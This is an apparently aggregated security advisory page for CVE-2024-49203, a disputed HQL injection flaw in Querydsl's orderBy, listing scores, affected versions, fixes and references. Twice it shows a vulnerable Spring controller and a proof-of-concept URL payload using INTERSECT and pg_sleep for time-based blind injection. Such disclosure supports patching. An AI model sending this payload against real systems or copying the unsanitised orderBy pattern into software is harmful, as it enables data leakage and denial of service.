CVE-2024-49203
Querydsl vulnerable to HQL injection through orderBy
Querydsl 5.1.0 and OpenFeign Querydsl 6.8 allows SQL/HQL injection in orderBy in JPAQuery. NOTE: this is disputed by a Querydsl community member because the product is not intended to defend against a developer who uses untrusted input directly in query construction.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
GitHub Advisories Score usedGHSA-6q3q-6v5j-h6vg
8.8
Querydsl vulnerable to HQL injection through orderBy
Summary
The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.
Details
Vulnerable code may look as follows:
@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();
}
Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.
PoC
Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:
- Create JPAQuery object instance:
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
- Create OrderSpecifier object instance:
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
Where orderBy variable is user provided input.
- order and run the query
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();
When user goes to URL
/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id
The generated query will look something like this:
select test
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc
Environment
Library versions used in proof of concept to reproduce the vulnerability:
querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4
Impact
The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.
- Record
GHSA-6q3q-6v5j-h6vg- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-89
- Updated
- 2026-11-02
CVE List No score
Querydsl 5.1.0 and OpenFeign Querydsl 6.8 allows SQL/HQL injection in orderBy in JPAQuery. NOTE: this is disputed by a Querydsl community member because the product is not intended to defend against a developer who uses untrusted input directly in query construction.
- Record
CVE-2024-49203- Updated
- 2026-11-02
EUVDEUVD-2024-3393 No score
Querydsl 5.1.0 and OpenFeign Querydsl 6.8 allows SQL/HQL injection in orderBy in JPAQuery. NOTE: this is disputed by a Querydsl community member because the product is not intended to defend against a developer who uses untrusted input directly in query construction.
- Record
EUVD-2024-3393- Updated
- 2026-11-02
NVD No score
Querydsl 5.1.0 and OpenFeign Querydsl 6.8 allows SQL/HQL injection in orderBy in JPAQuery. NOTE: this is disputed by a Querydsl community member because the product is not intended to defend against a developer who uses untrusted input directly in query construction.
- Record
CVE-2024-49203- Updated
- 2026-11-02
OSVGHSA-6q3q-6v5j-h6vg
8.8
Querydsl vulnerable to HQL injection through orderBy
Summary
The order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier CVE-2024-49203.
Details
Vulnerable code may look as follows:
@GetMapping
public List<Test> getProducts(@RequestParam("orderBy") String orderBy) {
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();
}
Where vulnerability is either caused by pathBuilder.get(orderBy) or the orderBy(order) method itself, based on where the security checks are expected.
PoC
Full POC code is available in repository: https://github.com/CSIRTTrizna/CVE-2024-49203/ When we take a look at source code shown in Details section the functionality is as follows:
- Create JPAQuery object instance:
JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);
- Create OrderSpecifier object instance:
PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, "test");
OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
Where orderBy variable is user provided input.
- order and run the query
JPAQuery<Test> orderedQuery = query.orderBy(order);
orderedQuery.fetch();
When user goes to URL
/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id
The generated query will look something like this:
select test
from Test test
order by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc
Environment
Library versions used in proof of concept to reproduce the vulnerability:
querydsl-jpa: 6.8.0
querydsl-apt: 6.8.0
hibernate-core: 6.1.1.Final
jakarta.persistence-api: 3.1.0
postgresql: 42.7.4
Impact
The vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.
- Record
GHSA-6q3q-6v5j-h6vg- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L - Weakness
- CWE-89
- Updated
- 2026-11-02
OSVCLSA-2025-1759277170 No score
TuxCare security update for com.querydsl:querydsl-jpa (1 CVE)
TuxCare rebuilt com.querydsl:querydsl-jpa to address 1 CVE. Fixed in 5.1.0-tuxcare.1.
- Record
CLSA-2025-1759277170- Updated
- 2026-11-02
OSV No score
Querydsl 5.1.0 and OpenFeign Querydsl 6.8 allows SQL/HQL injection in orderBy in JPAQuery. NOTE: this is disputed by a Querydsl community member because the product is not intended to defend against a developer who uses untrusted input directly in query construction.
- Record
CVE-2024-49203- Updated
- 2026-11-02
OSVROOT-APP-MAVEN-CVE-2024-49203 No score
CVE-2024-49203 in com.querydsl:querydsl-apt - Patched by Root
Root has patched CVE-2024-49203 in the com.querydsl:querydsl-apt package for Root:Maven. Multiple fixed versions available.
- Record
ROOT-APP-MAVEN-CVE-2024-49203- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
io.github.openfeign.querydsl:querydsl-jpaMaven |
6.0.0.M1 up to 6.10.1 | 6.10.1 |
io.github.openfeign.querydsl:querydsl-aptMaven |
6.0.0.M1 up to 6.10.1 | 6.10.1 |
io.github.openfeign.querydsl:querydsl-jpaMaven |
before 5.6.1 | 5.6.1 |
io.github.openfeign.querydsl:querydsl-aptMaven |
before 5.6.1 | 5.6.1 |
com.querydsl:querydsl-jpaMaven |
through 5.1.0 | None known |
com.querydsl:querydsl-aptMaven |
through 5.1.0 | None known |
com.querydsl:querydsl-jpaTuxCare:Maven |
5.1.0 up to 5.1.0-tuxcare.1 | 5.1.0-tuxcare.1 |
io.github.openfeign.querydsl:querydsl-jpaMaven |
6.0.0.M1 up to 6.10.1, plus listed versions 6.06.0.0.M26.0.0.M36.0.0.RC16.0.1 Show 13 moreShow less6.0.26.0.36.16.106.26.2.16.36.46.56.66.76.86.9 |
6.10.1 |
io.github.openfeign.querydsl:querydsl-aptMaven |
6.0.0.M1 up to 6.10.1, plus listed versions 6.06.0.0.M26.0.0.M36.0.0.RC16.0.1 Show 13 moreShow less6.0.26.0.36.16.106.26.2.16.36.46.56.66.76.86.9 |
6.10.1 |
io.github.openfeign.querydsl:querydsl-jpaMaven |
before 5.6.1, plus listed versions 5.0.15.15.1.15.25.35.45.55.6 |
5.6.1 |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
io.github.openfeign.querydsl:querydsl-aptMaven |
before 5.6.1, plus listed versions 5.0.15.15.1.15.25.35.45.55.6 |
5.6.1 |
com.querydsl:querydsl-jpaMaven |
through 5.1.0, plus listed versions 4.0.04.0.14.0.24.0.34.0.4 Show 18 moreShow less4.0.54.0.64.0.74.0.84.0.94.1.04.1.14.1.24.1.34.1.44.2.04.2.14.2.24.3.04.3.14.4.05.0.05.0.0.M1 |
None known |
com.querydsl:querydsl-aptMaven |
through 5.1.0, plus listed versions 4.0.04.0.14.0.24.0.34.0.4 Show 18 moreShow less4.0.54.0.64.0.74.0.84.0.94.1.04.1.14.1.24.1.34.1.44.2.04.2.14.2.24.3.04.3.14.4.05.0.05.0.0.M1 |
None known |
com.querydsl:querydsl-aptRoot:Maven |
before 5.1.0-aikido.2 | 5.1.0-aikido.25.0.0-aikido.25.0.0-aikido.35.1.0-aikido.3 |
com.querydsl:querydsl-jpaRoot:Maven |
before 5.1.0-aikido.2 | 5.1.0-aikido.25.0.0-aikido.25.0.0-aikido.35.1.0-aikido.3 |
io.root.com.querydsl:querydsl-jpaRoot:Maven |
before 5.1.0-root.io.1 | 5.1.0-root.io.15.0.0-root.io.15.1.0-root.io.25.0.0-root.io.25.0.0-root.io.35.1.0-root.io.3 |
io.root.com.querydsl:querydsl-aptRoot:Maven |
before 5.0.0-root.io.1 | 5.0.0-root.io.15.1.0-root.io.15.1.0-root.io.25.0.0-root.io.25.0.0-root.io.35.1.0-root.io.3 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-49203 is a high vulnerability (CVSS 8.8) in Openfeign Querydsl Querydsl, published November 20, 2024. Its validity is disputed. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in io.github.openfeign.querydsl:querydsl-jpa 6.10.1.
References
github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0
csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html
github.com/querydsl/querydsl/issues/3757
github.com/OpenFeign/querydsl
github.com/OpenFeign/querydsl/releases/tag/5.6.1
github.com/OpenFeign/querydsl/pull/742
Show 8 moreShow less
github.com/advisories/GHSA-6q3q-6v5j-h6vg
github.com/OpenFeign/querydsl/releases/tag/6.10.1
github.com/OpenFeign/querydsl/pull/743
github.com/spring-projects/spring-data-jpa/issues/3693
github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg
nvd.nist.gov/vuln/detail/CVE-2024-49203
github.com/CSIRTTrizna/CVE-2024-49203
github.com/CVEProject/cvelistV5/tree/main/cves/2024/49xxx/CVE-2024-49203.json